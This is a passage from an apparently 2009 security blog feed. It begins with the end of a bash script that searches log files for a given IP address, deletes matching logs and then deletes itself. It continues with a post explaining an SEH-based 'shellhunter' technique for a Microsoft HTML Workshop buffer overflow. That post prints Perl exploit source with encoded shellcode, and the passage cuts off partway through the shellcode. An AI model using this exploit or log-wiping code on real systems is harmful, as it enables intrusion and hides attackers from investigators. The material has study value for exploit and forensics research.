<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[9;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #666666; font-style: italic;">##############################################################################</span>
<span style="color: #000000; font-weight: bold;">done</span> ; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$fl</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $line | grep .conf`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	recurse <span style="color: #007800;">$line</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l=l+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader
&nbsp;
log_path_reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$log_path</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $line | grep &quot;$ip&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mFounded[\033[1;31m&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$line</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-c</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$ip</span>&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #ff0000;">&quot;	\033[1;30m] <span style="color: #007800;">$ip</span> in	&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Removing <span style="color: #007800;">$line</span>&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$line</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;30mFile [\033[1;31m&quot;</span><span style="color: #007800;">$line</span>    <span style="color: #ff0000;">&quot;\033[1;39mFile Dose not exist......\033[1;30m]&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l2=l2+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[8;3f\033[1;31mpath= <span style="color: #007800;">$path</span> OS= <span style="color: #007800;">$os</span>\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[11;1f\033[1;30mScanning DONE!! NOW : Removing Log Files\033[0;0m&quot;</span>
&nbsp;
log_path_reader
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mRemoving 				   $0	&quot;</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span> <span style="color: #007800;">$log_path</span> $<span style="color: #000000;">0</span>
&nbsp;
 <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span>  $<span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">else</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;37m Mail: amiri@abysssec.com\033[0;0m&quot;</span></pre></div></div>

<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>daphne  :</p>
<p>Hi readers .</p>
<p>Thanks from mr.Amiri .</p>
<p>when we&#8217;re talking about the secret or hidden in server , Log files in unix , linux server , recorded everything . this script is usefull for [white hacker ] and manager to clear major log files .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/hidden_attack_with_clear_log_file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft HTML Workshop</title>
		<link>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/</link>
		<comments>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 09:25:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=256</guid>
		<description><![CDATA[
Microsoft HTML Workshop &#60;= 4.74 Universal Buffer Overflow Exploit -
Another step towards perfect exploitation

This is my next article explaining my second public exploit implementing my recent Shellhunting technique. 
Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
<h2><em><span style="color: #808080;"><strong>Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit -</strong></span></em></h2>
<h3><em><span style="text-decoration: underline;"><span style="color: #808080;"><strong>Another step towards perfect exploitation</strong></span></span></em></h3>
</blockquote>
<p>This is my next article explaining my second <em>public</em> exploit implementing my recent <span style="color: #800000;"><em>Shellhunting</em></span> <span style="color: #000000;">technique. </span></p>
<p><span style="color: #000000;">Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.</span></p>
<p><span style="color: #000000;">The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit? </span></p>
<p><span style="color: #000000;">Here is why:-</span></p>
<ol>
<li><span style="color: #808080;"><em>To overflow the buffer, 280 bytes and above are needed, this isn&#8217;t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.</em></span></li>
<li><span style="color: #808080;"><em>To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.<br />
</em></span></li>
<li><span style="color: #808080;"><em>This address includes a &#8220;\x00&#8243; byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.</em></span></li>
</ol>
<p>Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.<span style="color: #000000;">With the Shellhunter the shellcode may even include NULL bytes! </span></p>
<p>Lets recap what a shellhunter does:-</p>
<ol>
<li><span style="color: #808080;"><em>Searches through memory for a certain &#8220;lookout&#8221; value that when located will revert program execution flow to the address at the &#8220;lookout&#8221;. Also the &#8220;lookout&#8221; values must be a set of friendly instructions that will not cause an unneeded &#8220;Access Violation&#8221;.</em></span></li>
<li><span style="color: #808080;"><em>In this case there is no need for it to be alphanumerical, also size does not matter.</em></span></li>
</ol>
<p><span style="color: #808080;"><span style="color: #000000;">The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape&#8217;s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method <img src='http://www.abysssec.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the <em>whole </em>memory with the shellhunter. </span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Of course there are a few problems that come to mind with that:</span></span></p>
<ul>
<li>Access Violations will occur when retrieving data from an invalid address.</li>
<li>We need to store the variable which is address currently searched.</li>
<li>The applications memory is a huge range from 0&#215;00000000 to just below kernel base which is, 0&#215;7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.</li>
<li>Also, but I&#8217;ll discuss about this later, the stack layout has to be repaired by the shellhunter..</li>
</ul>
<p>Wow, a <span style="text-decoration: underline;">load</span> of problems.</p>
<p>Now I will write up how I solved them.</p>
<p><span style="text-decoration: underline;">Access Violation problem when reading invalid memory</span></p>
<p>The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.</p>
<p>Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:</p>
<p><span style="color: #99cc00;"><strong>[ Pointer to the next SEH record]</strong></span></p>
<p><span style="color: #99cc00;"><strong>[Pointer to exception handler code] </strong></span></p>
<p>Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the &#8220;Pointer to exception handler code&#8221; point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.</p>
<p>If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the &#8220;lookout&#8221; value, if invalid, exception occurs and then again all over we set up SEH and check for &#8220;lookout&#8221;.</p>
<p><span style="text-decoration: underline;">Save the current address variable somewhere in the heap</span></p>
<p>In this problem I used the address <span style="color: #99cc00;">0&#215;7ffdfad0</span>. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.</p>
<p><span style="text-decoration: underline;">Speedy search through memory</span></p>
<p>At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used <span style="color: #99cc00;">32</span> bytes. But this also needed to increase the amount of &#8220;lookout&#8221; values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over <span style="color: #99cc00;">64*4</span> bytes of &#8220;lookout&#8221; value in the exploit!).</p>
<p><span style="text-decoration: underline;">Repairing the Stack layout</span></p>
<p>This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.</p>
<p>That&#8217;s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me <img src='http://www.abysssec.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  )! If you got any problems with writing your certain exploit, and need a shellhunter, don&#8217;t hesitate to contact me at skdrat&lt;at&gt;hotmail&lt;.&gt;com (MSN Messenger).</p>
<p>Read the exploit below, and enjoy it!</p>
<p>Milw0rm exploit URL: <strong><span style="color: #99cc00;">http://milw0rm.com/exploits/7727</span></strong></p>
<p>Exploit:</p>
<pre><span style="color: #808080;">
</span></pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;">&nbsp;
    <span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
    <span style="color: #666666; font-style: italic;"># Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;"># Discovered/Exploit by SkD                    (skdrat@hotmail.com)</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># This is a continuation of my new method, shellhunting.</span>
    <span style="color: #666666; font-style: italic;"># The exploit is far more advanced than the Amaya's as it runs on</span>
    <span style="color: #666666; font-style: italic;"># every system, partly because the shellhunter itself is very much</span>
    <span style="color: #666666; font-style: italic;"># reliable and universal.</span>
    <span style="color: #666666; font-style: italic;"># The shellhunter does the following tasks to find and exec.</span>
    <span style="color: #666666; font-style: italic;"># shellcode:-</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># 1- Searches through the whole memory of the application.</span>
    <span style="color: #666666; font-style: italic;"># 2- Installs a SEH handler so on access violations it won't</span>
    <span style="color: #666666; font-style: italic;">#    stop hunting for the shellcode.</span>
    <span style="color: #666666; font-style: italic;"># 3- Repairs stack so a stack overflow won't occur (that is what</span>
    <span style="color: #666666; font-style: italic;">#    happens when the SEH is called up, many PUSH instructions</span>
    <span style="color: #666666; font-style: italic;">#    are called from the relevant modules (ntdll, etc).</span>
    <span style="color: #666666; font-style: italic;"># 4- Improved speed by searching through 32 bytes at a time.</span>
    <span style="color: #666666; font-style: italic;"># 5- Uses a certain address in memory to store a variable for the</span>
    <span style="color: #666666; font-style: italic;">#    search.</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># It is very stable and will allow any shellcode (bind/reverse shell,</span>
    <span style="color: #666666; font-style: italic;"># dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Yeah, I guess that's about it. Took me a few hours to figure out the</span>
    <span style="color: #666666; font-style: italic;"># whole thing but nothing is impossible ;).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Oh, I think some schools use this software :) (it's Microsoft's, right?).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># You can download the app. from Microsoft's official page:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://msdn.microsoft.com/en-us/library/ms669985.aspx</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># If you are interested in my method and want to learn something new or</span>
    <span style="color: #666666; font-style: italic;"># improve your exploitation skills then visit my team's blog at:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://abysssec.com</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Peace out,</span>
    <span style="color: #666666; font-style: italic;"># SkD.</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>4E<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>6F<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3D<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>3D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4C<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>2E<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>6D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crlf</span>      <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4d&quot;</span><span style="color: #339933;">.</span>
